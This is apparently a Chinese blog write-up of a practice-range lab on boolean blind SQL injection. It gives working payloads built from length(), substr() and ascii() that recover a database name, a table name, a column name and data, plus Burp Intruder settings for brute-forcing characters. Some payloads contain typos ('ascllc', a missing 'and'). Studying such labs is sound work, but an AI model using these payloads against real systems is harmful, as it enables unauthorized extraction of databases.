SQL注入--盲注

SQL注入--盲注

使用盲注的原因,是管理员关闭了回显,无法获知报错情况

0x00 盲注

盲注需要配合 一些函数使用

length() 函数返回字符串的长度
select length(‘aa’):
select length(‘12344556’)
substr() 截取字符串 (语法SUBSTR(str,pos,len))
substr(截取什么字符,从那里截取,截取多长)
substr(“abs”,1,2) //截取 abs 第一个开始,取2位
ascll码 数字可以比较 字符串不能比较
sleep() 休眠 几秒

注意:盲注的时候不能使用联合查询,联合查询只有在页面有输出点的时候可以用

靶场练习:封神台靶场

PASS-10

使用手工测试

经过不断fuzz =12 有数据 数值 > 12没数据

length(database())>12

length(database())=12

数据库名有12位

SQL注入--盲注

通过substr()函数,进程测试

and ascllc(substr(database(),1,1))=107

and ascllc(substr(database(),对应的位置数值长度,1))=107

burp设置

  1. 设置 $ $位置进行跑包

    SQL注入--盲注

  2. 设置 payload payload set 1 选择 Simple list

     

SQL注入--盲注

payload set 2 选择 Numbers 选择 97-190 每次加+1 递增

SQL注入--盲注

设置好了后 直接 Start attack 跑出来的包

ASCII 码 字符   ASCII 码 字符   ASCII 码 字符   ASCII 码 字符        
十进位 十六进位   十进位 十六进位   十进位 十六进位   十进位 十六进位        
032 20     056 38 8   080 50 P   104 68 h
033 21 !   057 39 9   081 51 Q   105 69 i
034 22 "   058 3A :   082 52 R   106 6A j
035 23 #   059 3B ;   083 53 S   107 6B k
036 24 $   060 3C <   084 54 T   108 6C l
037 25 %   061 3D =   085 55 U   109 6D m
038 26 &   062 3E >   086 56 V   110 6E n
039 27 '   063 3F ?   087 57 W   111 6F o
040 28 (   064 40 @   088 58 X   112 70 p
041 29 )   065 41 A   089 59 Y   113 71 q
042 2A *   066 42 B   090 5A Z   114 72 r
043 2B +   067 43 C   091 5B [   115 73 s
044 2C ,   068 44 D   092 5C \   116 74 t
045 2D -   069 45 E   093 5D ]   117 75 u
046 2E .   070 46 F   094 5E ^   118 76 v
047 2F /   071 47 G   095 5F _   119 77 w
048 30 0   072 48 H   096 60 `   120 78 x
049 31 1   073 49 I   097 61 a   121 79 y
050 32 2   074 4A J   098 62 b   122 7A z
051 33 3   075 4B K   099 63 c   123 7B {
052 34 4   076 4C L   100 64 d   124 7C |
053 35 5   077 4D M   101 65 e   125 7D }
054 36 6   078 4E N   102 66 f   126 7E ~
055 37 7   079 4F O   103 67 g   127 7F DEL

SQL注入--盲注

1 : 107 ascii 对应 k

2 : 97 ascii 对应 a

3 : 110 ascii 对应 n

4 : 119 ascii 对应 w

..

11 : 105 ascii i

12 97 ascii a

 

kanwolongxia

猜测数据库表名 SQL语句

 

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1

》1,

》2

》3,

》 4

进行测试

SQL注入--盲注

 

使用burp

SQL注入--盲注

108 l

111 0

102 f

108 l

97 a

103 g

loflag

猜测字段名

and (ascii(substr((select column_name from information_schema.columns where table_schema=database() table_name="loflag" limit 0,1),1,1)))>1

SQL注入--盲注

102 f

108 l

97 a

103 g

108 l

111 0

flaglo

查看字段数据

and (ascii(substr((select flaglo from loflag limit 0,1),1,1)))>1

SQL注入--盲注

手注确认第一个为 ‘z’

使用burp跑包是出现点问题,没有回返数据 就这样了

 

 

上一篇:【安全知识分享】PPTX|安全隐患详解合集(108页)(附下载)


下一篇:【LeetCode】108. 将有序数组转换为二叉搜索树